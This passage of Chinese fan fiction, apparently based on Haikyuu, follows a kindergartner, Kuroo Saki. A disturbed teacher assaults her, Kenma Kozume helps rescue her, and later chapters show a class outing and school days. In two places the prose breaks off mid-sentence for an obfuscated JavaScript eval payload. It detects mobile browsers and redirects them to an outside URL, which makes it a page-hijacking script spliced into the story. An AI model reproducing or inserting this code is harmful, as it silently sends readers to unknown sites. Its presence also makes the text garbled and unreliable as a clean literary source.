她的声音细如蚊呐,几乎要被街道上的风声淹没。 结果不知道为什么这句话把江头凉子给激怒了,她狠狠地推了一把黑尾纱季,让她的身体重重地撞在身后的围墙上。 黑尾纱季的后背传来一阵剧痛,眼泪瞬间涌上眼眶。 不等黑尾纱季做出什么反应,江头凉子的声音开始尖锐起来:“又想离开!又想离开!理纱你为什么这么想离开妈妈!” 理纱? 这一次黑尾纱季彻底听清了,她有些迷茫这是谁,但是看着有点癫狂和平时判若两人的江头凉子,她又有些不敢说话。 恐惧像潮水一样淹没了她,让她动弹不得。 江头凉子的怒斥还在继续,安静的街道只有她刺耳的声音响起,不远处电线杆上的鸟都展翅飞走了。 那些话语像暴风雨一样砸向黑尾纱季,每一个字都带着扭曲的爱意和疯狂的占有欲。 一向很喜欢的温柔老师突然变成面前这样歇斯底里,这样的变化让黑尾纱季有些不知所措,再加上撞在墙上的肩背有些刺痛。 眼泪迅速涌上眼眶,但是黑尾纱季莫名感觉自己不能哭出来,不能再让江头凉子更生气了。 她咬紧下唇,努力把眼泪憋回去,但身体却不受控制地颤抖着。 自顾自地骂了近十分钟,江头凉子才慢慢平静下来,她像是全让忘记刚刚发生了什么一样,伸手抚摸着黑尾纱季的头,柔声道:“理纱乖,我们不是说好了要去公园看鸽子吗?得快一点,再晚一点就不能去了。” 她的声音又恢复了往日的温柔,仿佛刚才的暴怒只是一场幻觉。 说完,她不顾黑尾纱季的反应,用力拽着黑尾纱季的手就匆匆往前走。 黑尾纱季踉踉跄跄地跟着,手腕已经红了一圈。 等走到江头凉子说的那个公园的时候,黑尾纱季的脸色已经变得煞白,呼吸都快跟不上了。 公园里空无一人,秋千在风中轻轻摇晃,发出吱呀吱呀的声响。 两人坐在公园的凳子上,江头凉子又开始自顾自地开始说话。 她的声音轻柔,讲述着一些黑尾纱季完全听不懂的事情,像是某个孩子小时候的趣事。 然而黑尾纱季只能僵硬地坐着,一动也不敢动。 等黑尾纱季把慢慢把呼吸调整回来,发现江头凉子已经不说话了,她正在幽幽地盯着自己。那双眼睛在暮色中好像泛着诡异的光芒一般。 “理纱,你为什么不听妈妈说话?”江头凉子没有情绪的问起来。 她的手指神经质地抽搐着,在裙子上抓出几道皱褶。 随即她猛地站起来,一把狠狠抓住黑尾纱季的头发又开始怒斥。 疼痛从头皮传来,黑尾纱季终于忍不住哭出声来。 接下来发生了什么黑尾纱季已经记不清了,她只记得很快就有警察过来制止了江头凉子的暴行,然后妈妈黑尾明美也匆匆跟在警察后面赶到。 警笛的声音,杂乱的脚步声,还有妈妈撕心裂肺的呼唤,这些声音交织在一起,构成了黑尾纱季记忆中最混乱也最安心的时刻。 在被妈妈抱在怀里的那一瞬间,黑尾纱季感觉自己一直紧绷的心终于缓了下来,她靠在妈妈怀里,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408966|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些委屈的说:“妈妈,好痛。” 她的声音小小的,带着哭腔,像一只受伤的小动物。 听到女儿的声音,黑尾明美浑身一震,然后用力抱紧女儿,自己的眼眶也忍不住红了起来。她抚摸着女儿凌乱的头发,轻声安慰着,声音却止不住地颤抖。 再往后的事情,黑尾纱季都有些记不起来了,等她再次清醒过来的时候,已经是在家里。 熟悉的房间,柔软的床铺,还有床头柜上哥哥偷偷放的小熊玩偶,这一切都让她感到安全。 大概是因为受惊的原因,黑尾纱季又高热不退了好几天。 在昏昏沉沉的日子里,她总是梦见那双疯狂的眼睛和那个陌生的名字。 这段时间爸爸黑尾拓真又请了长假在家,不过因为江头凉子还在警察局那边的原因,他还要时不时地出门一趟,但是每次回来的时候都会带上哥哥黑尾铁朗爱吃的零食和黑尾纱季感兴趣的新书。 哥哥黑尾铁朗粗略知道了一点妹妹又发生了不好的事情,他最近一放学都不出去和小伙伴玩足球了,一回家就钻妹妹的房间,笨拙地讲着学校里的趣事逗她开心。 等她身体好一点了才恢复了往日和妹妹打打闹闹的样子,但眼神中的担忧却从未消失。 倒是妈妈黑尾明美,最近晚上都是和黑尾纱季一起睡的。 在黑尾纱季做噩梦惊醒的夜晚,妈妈温暖的怀抱总能驱散那些可怕的记忆。 等到后面黑尾纱季状态好起来追问这件事的时候,黑尾明美才说起孤爪研磨在这里面的角色。 妈妈的声音轻柔,讲述着那个平时沉默寡言的男孩是如何机智勇敢地救了她。 听妈妈说警察之所以能来这么及时,是因为孤爪研磨在黑尾纱季和江头凉子走了以后越想越不对,跑到老师办公室求证的时候发现了在江头凉子桌子下面的一张合照。 那是年轻时候的江头凉子穿着今天这一套衣服和一个神似黑尾纱季的女孩的合照,照片已经泛黄,边缘处有些磨损,显然被翻看过无数次。 在后面老师们都摇头不知道江头凉子去向的时候,孤爪研磨在幼儿园前门的门卫室发现了正在沉睡的门卫叔叔并且怎么都叫不醒。 门卫叔叔的呼吸平稳得不自然,像是被人下了药一样。 再联想到自己一直以来都觉得江头凉子对待黑尾纱季的不对劲,孤爪研磨赶紧借用了门卫室的电话给家里打了电话说明问题,请家里人报警并且通知隔壁黑尾家。 再之后的的事情黑尾明美就没有告诉黑尾纱季了,比如江头凉子的女儿在七岁那年就因为车祸去世,车祸之前她因为想去公园喂鸽子和妈妈江头凉子发生了争执,车祸发生后痛失爱女的江头凉子一直无法从悲痛里走出来,丈夫也另有新欢和自己离婚了。 经历了很多年她才从打击中走出来,结果遇到了和女儿长得很像的黑尾纱季,让她经常都把黑尾纱季当作女儿的替身。 后面警察们在江头凉子家里发现了一些违禁药物,再加上出事那天刚好是江头凉子女儿出事的时候,江头凉子决定带上黑尾纱季去公园,让她代替女儿完成最后的心愿,结果后面的事情变得不可控起来。 那些药物和扭曲的母爱混合在一起,酿成了这场悲剧。 黑尾明美低头亲吻在床上抱着小熊眨着眼睛看向自己的女儿,然后在心中默默感谢及时通知这一切的孤爪研磨。 那个安静的孩子用他的敏锐和勇敢,挽救了可能发生的更大悲剧。 等黑尾纱季彻底好了以后,黑尾夫妇带着黑尾铁朗和黑尾纱季上孤爪家登门感谢。 阳光明媚的下午,两家人坐在客厅里,空气中飘着红茶的香气。 黑尾纱季偷偷观察着坐在对面的孤爪研磨,后者正安静地小口啜饮着果汁。 等感谢完以后,大人们在那里聊着他们的事情,黑尾兄妹就跟着孤爪研磨去了他的房间。 趁着黑尾铁朗正在努力和boss奋战的时候,孤爪研磨看着恢复精神的黑尾纱季抿抿唇,然后小声问道:“你还好吗?” 他的声音比平时更加轻柔,像是怕惊扰到什么。 “已经没问题啦!”黑尾纱季笑了笑,目光不离面前的屏幕,看着哥哥被打到残血,她也忍不住跟着冷吸一口冷气。 样子看上去倒是和平时没什么区别。 “对不起,如果一开始我就阻止你跟着出去就好了。”孤爪研磨又道。 他的手指无意识地摩挲着游戏机的边缘,眼神中带着自责。 这下黑尾纱季有些讶异,她扭过头看着面前很自责的男孩子,感觉那双漂亮的金色猫眼颜色都有些黯淡了。 她从未见过孤爪研磨露出这样的表情。 于是黑尾纱季想都不想,直接倾身抱住他,孤爪研磨的身体僵硬了一瞬,随后慢慢放松下来。 孤爪研磨的眼睛睁得大大的,像受惊的猫咪一样,他小心翼翼地回抱住黑尾纱季,动作轻柔得像是在对待一件易碎品。 “为什么要道歉,明明研磨已经做得很好了,是你救了我呀!”黑尾纱季的声音甜甜的,莫名让孤爪研磨想到了妈妈做的苹果派。 女孩的声音还在继续:“而且我们是朋友呀!超级好的好朋友!” 之后她松开怀抱,对着孤爪研磨露出灿烂的笑容,眼睛弯成了月牙形。 想到前几天去黑尾家拜访看到女孩脸上病退的潮红以及无力地声音,孤爪研磨一度在自责自己没有在最开始阻止江头凉子把人带走。 但是那些担忧和后悔此刻在黑尾纱季明亮的笑容面前,终于慢慢消散。 现在听到黑尾纱季的开导,孤爪研磨垂下眼眸嘴角勾了勾:“嗯,好朋友。” “你们在做什么。”黑尾铁朗的声音幽幽地从后面传过来,抱在一起的两个小朋友松开手坐直。 黑尾铁朗眯着眼睛看着他们,脸上写满了怀疑。 看着脸上有些不爽的哥哥以及他身后写了个大大的失败二字的屏幕,黑尾纱季吐槽:“好弱啊,哥哥。” “啊?!”黑尾铁朗额角蹦出青筋,手中的游戏手柄被捏得咯吱作响。 “好弱啊,哥哥。”黑尾纱季不怕死地又重复了一遍,还做了个鬼脸。 “黑尾纱季!你已经病好了!别以为我不会打你!”黑尾铁朗跳起来,作势要扑过去。 “哦。”黑尾纱季淡定地回应,却迅速躲到了孤爪研磨身后,只露出一个小脑袋。 “!!!!!” 孤爪研磨看着卧室里闹腾起来的兄妹二人,有些无奈的跟着笑出声音。 所以像现在这样一直下去,也挺好的,他在心中默默地想着。 7. 秋游 深秋的清晨透着丝丝凉意,黑尾纱季站在玄关处,看着妈妈为她整理制服的领结。 阳光透过窗帘的缝隙洒进来,在地板上投下斑驳的光影。 因为之前江头凉子的事情,黑尾纱季在家休息了半个月才终于回到幼儿园继续上学,这半个月里,妈妈每天都会准备她最爱吃的盐焗秋刀鱼和玉子烧,爸爸也会提早下班陪她看绘本。 虽然按照爸爸黑尾拓真的意思,这是在幼儿园的最后一年,而且学校里老师教导的内容黑尾纱季差不多都掌握了,还不如最后这几个月就在家里度过算了。 “反正明年就要上小学了。”爸爸一边看报纸一边说:“在家我也可以教你更多有趣的知识。” 对于爸爸的提议,黑尾纱季心动得不得了。 她想象着每天可以睡到自然醒,不用被闹钟吵醒;可以在家看自己喜欢的绘本,不用跟着课程表走;还能和爸爸一起做那些有趣的科学实验......光是想想这些,她的眼睛就亮了起来。 但是最后迫于妈妈的反对票,这个美好的计划还是泡汤了。 “小孩子就应该和同龄人在一起.”妈妈一边帮她梳头一边说:“”而且研磨君也会想你的。” 就这样黑尾纱季不得不返回幼儿园上课,她撅着嘴,看着镜子里妈妈给自己扎好的蝴蝶结发带。 “可恶,为什么妈妈这么想我来上学啊。”去幼儿园的路上,黑尾纱季有些不甘心地和孤爪研磨抱怨着。 她用力捏着书包带子,上面挂着的兔子玩偶随着她的动作一晃一晃的。 虽然已经进入秋天了,但是今天早上的太阳很好。 阳光使得孤爪研磨的帽子在脸上投下一道阴影,他想起之前偶然听到妈妈和黑尾阿姨在一起聊天时,两人聊起自己和黑尾纱季不爱和人交流的担忧。 “那两个孩子都太独来独往了......”黑尾阿姨忧心忡忡地说。 他又抬头看了一眼不太开心的黑尾纱季,决定还是闭嘴好了,反正黑尾纱季的样子看上去就只是抱怨一下而已。 来到向日葵班,黑尾纱季的脚步才刚刚迈进教室门,里面正在交谈的学生都一下子安静下来,然后纷纷看向她。 往前走的脚步瞬间迟疑起来,黑尾纱季扭头目光充满疑惑地看着孤爪研磨。 她注意到教室的布置有了些变化——墙上贴满了秋季主题的手工作品,角落里多了个挂着星星灯的小书柜,窗台上摆着一排绿油油的多肉植物。 然而后者只是默默移开视线,假装对墙上的贴画产生了浓厚兴趣。 没等黑尾纱季抱怨好友这么不讲义气,一群女孩子就已经涌上来围在她身边,像一群活泼的小鸟一样,叽叽喳喳地问起黑尾纱季的身体情况怎么样了。 “纱季酱终于回来了!” “我们好想你啊!” “你的病好了吗?” 幼儿园的孩子们不清楚之前的事件,她们只是知道这位超级漂亮可爱像洋娃娃一样的黑尾同学之前又生病了,都没赶上新来那位木场老师的见面礼物。 “木场老师?”黑尾纱季有些疑惑,之前怎么没有听说过这个名字。 她注意到讲台上放着一个崭新的名牌,上面用可爱的字体写着“木场洋子”。 然后小女孩们就开始你一言我一语地解释起来,江头凉子之前因为有事情没有继续在幼儿园工作,现在又新入职的木场洋子老师担任她们向日葵班的班主任。 “木场老师长得可好看了,就像电视里面的明星一样!” “她总是笑眯眯的,说话声音特别温柔。” “上周她还教我们折纸鹤,我折了十只呢!” “来向日葵班的第一天,她给每个人都带了小礼物,是一个可爱的动物橡皮擦......” 听了女孩子们热烈的介绍,黑尾纱季脑海里渐渐出现一个陌生女生温柔笑着的模样:及肩的棕色卷发,笑起来会露出小虎牙,可能会蹲下来平视着和孩子说话...... 但是联想之前江头凉子在学生之间的好评,黑尾纱季还是不想和这位新老师有什么过多的交际。 她记得江头老师第一次来班上时,也给每个小朋友发了手工折的千纸鹤... 预备铃响了一声,清脆的铃声在走廊上回荡,黑尾纱季终于回到了自己的座位上,发现桌椅被擦得一尘不染,桌角还贴着一张便利贴,上面画着笑脸和欢迎回来的字样。 看了一眼夸张呼出一口气的黑尾纱季,孤爪研磨打开自己的新游戏(黑尾铁朗攒了零花钱给孤爪研磨买的,是他救了妹妹的谢礼),嘴上说着:“之前你还没来的时候,她们每天都来问我你什么时候回来。” “难怪你刚刚见死不救。”黑尾纱季有些不满地从书包里取出文具盒,啪地一声打开,里面整齐排列着十二色彩铅和两块卡通橡皮。 上课铃声响起来,新来的木场洋子迈着轻快的步伐走了进来。 巧合的是她今天穿的也是一件藕粉色的裙子,不过和江头凉子当时给人的阴郁感觉截然不同——木场老师的裙摆随着她的步伐轻轻摆动,整个人散发着温暖的气息。 但是黑尾纱季还是不自觉地吸了口冷气。 之前被江头凉子狠狠抓住头发怒骂的感觉再次复现脑海:头皮被拉扯的剧痛、对方狰狞的表情、还有那种被恶意包围的恐惧......她的身体不受控制地抖了抖,手指紧紧抓住桌沿。 “要吃糖吗?妈妈早上塞给我的奶糖,里面好像还有巧克力夹心。” 孤爪研磨的手伸过来打断了黑尾纱季的思考,他的手心里躺着一枚圆滚滚的奶糖,包装纸上印着可爱的小熊图案。 垂眸看着那颗糖,黑尾纱季伸手抓过奶糖塞进嘴里。 甜津津的味道在口中化开,浓郁的奶香中夹杂着丝滑的巧克力,这熟悉的味道让她紧绷的神经渐渐放松下来。 向日葵班级里的女孩子们好像都格外怜惜“生了一场大病”的黑尾纱季。 在老师宣布了明天要去秋游的这件事以后,她们又都纷纷跑到黑尾纱季身边,跟她说组队的事情。 “纱季酱和我们一组吧!” “我们可以一起分享便当!” “我知道公园里有个特别漂亮的地方......” 这一次黑尾纱季没有放过孤爪研磨,她一把挽着他的手臂,像抓住救命稻草一样紧紧不放。 “抱歉,我已经和研磨约好了。”她露出一个略带歉意的微笑。 被女孩们挑剔的目光看得浑身僵硬的孤爪研磨在女生们散去以后才慢慢放松下来,然后用略谴责的目光盯着黑尾纱季,手里的游戏都直接存档暂停了,屏幕上显示着游戏已保存的字样。 “我会请妈妈做苹果派带来车上的。”黑尾纱季有些心虚地和他商量,她知道这是孤爪研磨无法拒绝的条件。 孤爪研磨的眼睛瞬间亮了起来。 ...... 幼儿园这次秋游的目的地不远,就是附近的一个大型公园的小山包上。 这一天秋高气爽,碧蓝色的天空万里无云,几片薄纱似的白云悠闲地飘着,金黄色的阳光从窗户照耀进车里,将整个车厢映照得明亮温暖。 一群小朋友们坐在车上开始齐声唱着儿歌,欢快的旋律在车厢里回荡。 唯二两名没有开口的小朋友坐在没有阳光照到的后排,面无表情地看着手中的书/玩着手里的游戏机。 黑尾纱季正在读一本关于蝴蝶的图鉴,而孤爪研磨则专注地打着新游戏,耳机里传来细微的游戏音效。 站在最前面的木场洋子看着黑尾纱季她们不参与活动,小步走上前,蹲下身来平视着两个孩子:“怎么不和同学们一起唱歌呢?” “我有点晕车。”睁眼说瞎话的黑尾纱季合上书本,目光真诚地看着班主任,试图说服她。 之前入职的时候就在领导同事那里了解过黑尾纱季之前事情的木场洋子在心中叹了口气。 她注意到黑尾纱季抓着书的手指有些发白,显然是在紧张,她默认了黑尾纱季的理由,然后又把目光放在黑发小男孩的身上。 “......”孤爪研磨看着老师,然后憋出一句:“我也晕车。” “......”木场洋子的额角蹦出青筋,但很快又恢复了温柔的表情。 随后用手锤轻轻敲了敲两个叛逆儿童的脑门,并且笑眯眯:“嗯?” “我错了,现在就一起唱歌。”叛逆儿童x2异口同声地说,不情不愿地加入了合唱。 一路的童声飘荡,等到达目的地的时候,小朋友们像一群出笼的小兽,纷纷跳下车开始在草地上跑起来。 秋日的阳光洒在翠绿的草地上,几个孩子已经开始追逐打闹,笑声在空旷的公园里回荡。 等老师维持好秩序开始分工以后,躲在最后面的黑尾纱季和孤爪研磨才慢吞吞地跟着大部队往山上走。 尽管这只是一个小山包,但是在阳光下爬坡还是让大家出了不少汗。 很快,黑尾纱季的额头渗出细密的汗珠,几缕卷发黏在了脸颊上。 “我讨厌出汗。”黑尾纱季捏紧双肩包的书包带抱怨着。 “我也是。”孤爪研磨看着前面肆意奔跑的同学们,有些庆幸这个小山包不是很高。 他的脸颊也因为爬山而微微泛红。 等到把野餐垫铺在地上以后,有气无力二人组纷纷躺在野餐垫上,开始看着天空发呆。 蔚蓝的天空中,几只鸟儿欢快地飞过,远处的云朵变换着形状,不远处精力旺盛的同学们已经开始玩闹起来,欢笑声随风飘来。< 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所以每次看到黑尾纱季拿出自家的苹果派,孤爪研磨那双漂亮的猫眼都会亮起来,像夜间的猫瞳一样闪着光。 看到黑尾纱季把苹果派放在垫子上以后,孤爪研磨也把自己家里准备的好吃的拿出来,里面有黑尾纱季比较喜欢的天妇罗炸虾。 金黄酥脆的外衣里是鲜嫩多汁的虾肉,还冒着热气。 两位妈妈在孩子们的秋游便当上下了不少心思。 造型可爱的章鱼香肠是两人便当盒里都有的,小香肠被精心切成了章鱼形状,黑芝麻点缀的眼睛显得格外生动。 然后孤爪研磨的便当盒里是两人爱吃的咸口玉子烧,层层叠叠的蛋卷中夹着细碎的海苔;黑尾纱季便当盒里则是一块扎实的汉堡肉,上面浇着浓稠的酱汁。 书包里除了便当盒还有各种小零食:独立包装的小饼干、水果软糖、巧克力威化......都是两个小朋友们平时比较喜欢的。 凉爽的秋风吹过,带着落叶和泥土的气息,吹散了一些由正午阳光带来的灼热。 两人相顾无言默默地吃着饭,只有餐具偶尔碰撞的轻微声响,气氛静谧但是也很温馨,仿佛只要有对方在,沉默也不会觉得尴尬。 期间有不少同学过来交换食物,两人也都大方的把东西分享出去。 一个小女孩用自己做的饭团换了一块苹果派,另一个男生则用果汁软糖换了天妇罗炸虾。 等最后吃完的时候,黑尾纱季感觉还有一点撑,她轻轻揉了揉肚子。 “好可惜没有波子汽水。“”黑尾纱季摸着肚子,她捧着一盒香蕉牛奶看着天空。 “波子汽水的话应该会撒了吧,像之前一样。”孤爪研磨默默提醒,眼睛仍盯着游戏屏幕。 经过他这么一说,黑尾纱季突然想起两人第一次见面时候尴尬的场景:她不小心被波子汽水洒了一身,然后被好友全程围观......想到那个画面,她有些不开心鼓起脸庞不说话了。 饭后又是自由活动时间,大概还能玩一个多小时才能回车上。 黑尾纱季打了个哈欠,阳光和饱腹感让她有些困倦。 她继续翻开她的书慢慢看起来,彩色的图片上各种蝴蝶栩栩如生。 周围同学们玩了一早上,现在也都三三两两的在自己的野餐垫上休息,几个女孩围在一起分享贴纸,几个男孩则在玩卡牌游戏,不时发出欢呼声。 不知道是午后的微风过于舒服,带着青草和阳光的温暖气息,还是因为身边人带来的安全感,听着孤爪研磨按动游戏机的熟悉声响,反正黑尾纱季的眼皮越来越重......没一会,她的头就慢慢地靠在了研磨的肩膀上,呼吸变得均匀而绵长。 等她被老师叫醒的时候,才发现她和孤爪研磨一起头挨着头,一起靠着大树睡着了。 她的头发有些凌乱。孤爪研磨的游戏机掉在野餐垫上,屏幕已经自动休眠了。 木场洋子有些担心地伸手摸了摸黑尾纱季的额头,被风吹得一阵冰凉:“回家去请妈妈冲一杯感冒冲剂喝,真是的,怎么会睡着了。” “恩恩。”黑尾纱季乖巧应道,揉了揉惺忪的睡眼。 但是她想了想又补充道:“应该不会感冒吧。” 结果回家当晚,黑尾纱季又又又又又一次发热了......她的小脸烧得通红,额头上贴着退热贴,妈妈坐在床边用湿毛巾为她擦拭手心。 不过这一次和之前有稍微的不同,就是一起吹风的孤爪研磨也不幸感冒了。 第二天早上,两个小朋友隔着电话互相听着对方鼻音浓重的声音,被各自的家长勒令在家休息一天。 黑尾纱季抱着电话,想象着研磨也和自己一样裹着毯子、额头贴着退热贴的样子,忍不住笑出了声。 8. 日常 黑尾铁朗搬来东京后不久,就和家周围的小朋友们混熟了。 每天放学后,都能看到他带着一群孩子在公园里踢球的活泼身影,谁能想到这个在球场上大呼小叫的孩子,半年前在西东京时还是个见到陌生人就往妈妈身后躲的怕生小鬼呢? 不过他最好的朋友依旧是孤爪研磨,以及最粘的人永远都是妹妹黑尾纱季。 无奈两人都是坚决的宅家党。 孤爪研磨宁可窝在沙发里打一整天游戏,也不愿出门晒十分钟太阳。 黑尾纱季则更喜欢蜷缩在窗边的懒人沙发上看绘本。 对于运动这类会出汗的活动,两人更是深恶痛绝,用黑尾纱季的话说就是“汗水黏糊糊的好恶心”。 于是每一天,黑尾家都会上演一出固定剧目:哥哥黑尾铁朗使出浑身解数试图让妹妹和自己出去玩,而妹妹黑尾纱季则像只慵懒的猫咪一样窝在沙发上一动不动,用各种理由冷酷拒绝。 “纱季~”这天放学后,黑尾铁朗一进门就扑到妹妹身边,像只大型犬一样用脑袋蹭着她的肩膀:“今天公园里新装了一个超~大的滑梯,我们去玩好不好?” 黑尾纱季头也不抬地翻着手中的绘本:“不要。” “那我们去便利店买冰淇淋?新出的草莓味哦!” “太远了。” “就在街角!五分钟就到!” “外面太热了。” 黑尾铁朗看了看窗外阴云密布的天空,决定换个策略。 他蹲在妹妹面前,眨巴着那双和妹妹如出一辙的琥珀色眼睛,装出一副可怜兮兮的样子:“哥哥好可怜的,你和研磨还在幼儿园,就我一个人孤零零的去国小上学......” 黑尾纱季终于抬起头,看着哥哥夸张的表演,于是黑尾铁朗立刻加大力度,眼睛里甚至挤出了几滴不存在的泪水:“每天都要一个人吃便当,体育课也没有人组队.....” “骗人。”黑尾纱季毫不留情地拆穿:“”天我还看到你和三个同学一起去买冰棍。” 计划失败的黑尾铁朗瘫坐在地上,像只被雨淋湿的大型犬。 黑尾纱季叹了口气,合上绘本,伸手揉了揉哥哥蓬松的黑发:“等明年我和研磨上小学了,就能陪你一起吃便当了。” 结果第二天上学时,黑尾纱季就把哥哥撒娇的样子原原本本转述给了孤爪研磨。 “啊,明明我们明年就能一起上学了。”孤爪研磨指出这一点,他今天难得没有边走边玩游戏机,而是学着黑尾纱季的样子踢着路上的小石子。 “小黑其实就是享受和妹妹撒娇的这个过程,”他小声补充道,“毕竟是个十足的妹控。” 黑尾纱季踢飞一颗特别圆润的小石子,看着它咕噜咕噜地滚进路边的排水沟:“不过确实哥哥和我们是玩得最好的,在家里几乎没听他提起过一起出去玩的其他朋友。” 她停顿了一下,叹了口气总结道:“哥哥还是好可怜哦,还好我们两个读一个年级。” “但是我比纱季要大呢。”孤爪研磨突然说,他低头看着自己的鞋尖,声音轻得几乎听不见。 黑尾纱季立刻警惕地抬头,瞪圆了眼睛:“就几个月而已!先说好我是不可能叫研磨哥哥的哦!” 孤爪研磨摇了摇头:“我又不是这个意思......” 两人一路聊着黑尾铁朗一个人孤零零上国小这个话题走到幼儿园。 校门口的木樨花开得正盛,甜腻的香气弥漫在空气中,学校里已经来了不少同学,操场上充斥着孩子们的嬉闹声。 看着大早上就开始追逐打闹的同学们,黑尾纱季和孤爪研磨默契地对视一眼,熟练地绕开人群,像两条游鱼般穿梭在喧闹的走廊里,最终安全抵达他们的座位,教室最角落的两个并排的椅子。 今天的早餐是南瓜吐司,金黄色的吐司上淋着琥珀色的糖浆,在阳光下闪闪发亮。 保育员阿姨还特意给他们多分了几块,因为知道这两个孩子最喜欢甜食。 “好吃......”黑尾纱季小口小口地咬着吐司,幸福地眯起眼睛。 糖浆的甜味和南瓜的清香在口腔中蔓延开来,让她想起万圣节时妈妈做的南瓜派。 孤爪研磨虽然没说话,但进食的速度明显比平时快了不少,他专注地盯着手中的吐司,像只专心进食的猫咪,连游戏机都暂时被冷落在了一边。 结果两人都不小心吃多了,当木场洋子老师宣布要开始上午的活动时,黑尾纱季摸着微微凸起的小肚子,小声对孤爪研磨说:“好撑......不想动......” ...... 班主任木场洋子对这两个特殊的学生真是又爱又恨。 爱他们懂事听话,上课时从不吵闹,作业也总是完成得一丝不苟. 恨他们太过安静,集体活动时永远躲在角落,下课也几乎不和别的小朋友玩耍。 作为刚参加工作不久的年轻教师,木场洋子对教育充满热情。 她会在课堂上设计各种有趣的游戏,下课时常带着孩子们一起玩耍,时不时还会准备些新奇的小礼物,这些努力让她很快成为向日葵班最受欢迎的老师,除了在黑尾纱季和孤爪研磨这里碰了软钉子。 木场洋子理解这两个孩子经历了江头凉子事件后对老师的戒备,但她依然希望能打开他们的心扉。 尝试了送小礼物、单独辅导、亲切交谈等各种怀柔政策后,她沮丧地发现这两个孩子油盐不进,最终,木场洋子决定放弃特殊对待,用最普通的方式和他们相处。 比如今天,课程安排是户外活动老鹰捉小鸡。 当其他孩子兴奋地欢呼时,黑尾纱季和孤爪研磨已经像两滩融化的冰淇淋一样瘫在课桌上,浑身上下都写着拒绝二字。 “黑尾同学,孤爪同学。”木场洋子走到两人桌前,弯腰平视着他们,脸上带着温柔但不容拒绝的微笑:“这是又要偷懒吗?” 两个小朋友乖巧地摇摇头,但身体纹丝不动,仿佛和椅子长在了一起。 “接下来是户外活动时间哦,户外!”木场洋子特意强调了最后两个字,她双手叉腰,做出一副老师要生气了的表情:“需要我亲自把你们''请''出去吗?” 虽然知道老师不会真的对他们做什么,但迫于压力的两人还是不情不愿地站起身,慢吞吞地跟着队伍走向操场。 阳光刺得黑尾纱季眯起了眼睛,她不情不愿地想,为什么非要在大太阳底下跑来跑去啊...... ...... 才玩了两轮老鹰捉小鸡,黑尾纱季和孤爪研磨就已经气喘吁吁地败下阵来,两人的脸颊因为运动而泛红,额头上渗出细密的汗珠,头发也乱糟糟地贴在脸上。 “老、老师......”黑尾纱季上气不接下气地举手:“我......我不行了......” 木场洋子看着这两个体力透支的小朋友,无奈地挥挥手:“去旁边休息吧,不过不能回教室。” 如获大赦的两人立刻冲向树荫下的长椅,瘫坐在上面像两条脱水的鱼。 深秋的风带着丝丝凉意,吹散了他们身上的热气,黑尾纱季把脸贴在冰凉的木质椅背上,舒服地叹了口气。 “他们......怎么还能玩......”孤爪研磨看着操场上依旧活力四射的同学们,声音里充满敬佩。 “好累......”黑尾纱季有气无力地附和:“”好想回教室......” 一阵凉风吹来,孤爪研磨打了个哆嗦。 他站起身,示意黑尾纱季跟他去一个背风的地方,两人最终选定了游乐设施后面的一个小角落,这里既晒不到太阳,也吹不到冷风,完美符合他们的需求。 然而好景不长,一群玩腻了老鹰捉小鸡的女孩子们发现了他们,兴高采烈地围了上来。 “黑尾同学!孤爪同学!”一个扎着马尾辫的女生举着粉色的塑料梳子,眼睛闪闪发亮:“我们来玩过家家吧!” 黑尾纱季立刻摇头:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408968|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是不......” “黑尾同学的头发真好看!”另一个蘑菇头女生打断她,已经迫不及待地开始用梳子梳理黑尾纱季的卷发:“你来当公主好不好?” 向孤爪研磨投去求救的目光,黑尾纱季却发现这家伙正悄悄往旁边挪动,明显是准备临阵脱逃,她眼疾手快地一把抓住他的衣角,咬牙切齿地说:“还有研磨在呢!” “啊......”举着梳子的女生失望地撅起嘴:“孤爪同学不去和男生们玩足球吗?” 看了看不远处正在踢球的男孩子们,孤爪研磨又看了看死死拽着自己不放的黑尾纱季,最终认命地叹了口气:“还是这里比较好。” 于是,一场令两人终生难忘的过家家游戏开始了。 在黑尾纱季和孤爪研磨僵硬地扮演爸爸妈妈时,其他女生们则热心地指导他们该如何表现: “不对不对,妈妈叫孩子起床时要更温柔一点!” “爸爸做饭时要假装翻炒的动作!” “你们要手牵手去超市买菜!” 最要命的是游戏结束时,女生们坚持要爸爸妈妈互相亲吻道晚安。 黑尾纱季飞快地亲了一下孤爪研磨的脸颊,心想这总该结束了吧?结果被告知顺序反了——应该是爸爸亲妈妈。 脸瞬间红得像熟透的苹果,孤爪研磨犹豫了半天,才蜻蜓点水般在黑尾纱季脸上碰了一下,然后立刻退开三米远,差点被自己的脚绊倒。 终于摆脱了过家家游戏的两人,趁着木场洋子回办公室的空档,偷偷溜回了教室。 当重新坐回熟悉的座位时,两人不约而同地长舒一口气,然后看着对方狼狈的样子,忍不住笑出了声。 ...... 晚上,黑尾家的餐桌前一如既往地热闹。 黑尾铁朗正手舞足蹈地向家人展示今天体育课学的排球动作,他跳起来做了一个夸张的扣杀姿势,差点打翻面前的味增汤。 “妈妈!排球真的超有趣!”黑尾铁朗眼睛亮晶晶地看着母亲:“我想去排球教室学习!” 优雅地夹起一块烤鱼,黑尾明美笑眯眯地说:“说好的要等你期末考试看看,如果还是有不及格的科目就不行哦。” 黑尾铁朗顿时像泄了气的皮球一样瘫在椅子上,连那头总是精神抖擞的黑发似乎都蔫了几分。 